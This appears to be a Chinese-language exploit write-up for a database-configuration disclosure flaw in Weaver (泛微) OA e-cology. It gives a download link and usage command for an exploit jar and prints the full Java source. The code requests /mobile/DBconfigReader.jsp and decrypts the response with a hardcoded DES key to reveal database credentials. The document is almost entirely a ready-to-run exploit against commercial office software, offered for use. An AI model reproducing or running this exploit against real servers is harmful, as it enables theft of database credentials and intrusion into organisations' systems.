泛微OA_数据库配置文件读取

# 泛微OA 数据库配置文件读取

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一、漏洞简介
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二、漏洞影响
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三、复现过程
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`https://download.0-sec.org/Web安全/泛微OA/ecologyExp.jar-master.zip`

使用方式：

jdk 1.8以上，没混淆可以直接看源码

使用方法：

java -jar ecologyExp.jar http://0-sec.org

源代码如下，编译好的在上方github链接里。

package com.test;

import org.apache.http.HttpEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.util.EntityUtils;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;
import java.security.SecureRandom;

public class ReadDbConfig {
private final static String DES = “DES”;
private final static String key = “1z2x3c4v5b6n”;

public static void main(String[] args) throws Exception {
if(args[0]!=null&& args[0].length() !=0){
String url = args[0]+”/mobile/DBconfigReader.jsp”;
System.out.println(ReadConfig(url));
}else{
System.err.print(“use: java -jar ecologyExp http://127.0.0.1”);
}
}

private static String ReadConfig(String url) throws Exception {
CloseableHttpClient httpClient = HttpClientBuilder.create().build();
HttpGet httpGet = new HttpGet(url);
CloseableHttpResponse response = httpClient.execute(httpGet);
HttpEntity responseEntity = response.getEntity();

byte[] res1 = EntityUtils.toByteArray(responseEntity);

byte[] data = subBytes(res1,10,res1.length-10);

byte [] finaldata =decrypt(data,key.getBytes());

return (new String(finaldata));
}

private static byte[] decrypt(byte[] data, byte[] key) throws Exception {

SecureRandom sr = new SecureRandom();
DESKeySpec dks = new DESKeySpec(key);
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES);
SecretKey securekey = keyFactory.generateSecret(dks);
Cipher cipher = Cipher.getInstance(DES);
cipher.init(Cipher.DECRYPT_MODE, securekey, sr);

return cipher.doFinal(data);
}

public static byte[] subBytes(byte[] src, int begin, int count) {
byte[] bs = new byte[count];
System.arraycopy(src, begin, bs, 0, count);
return bs;
}

}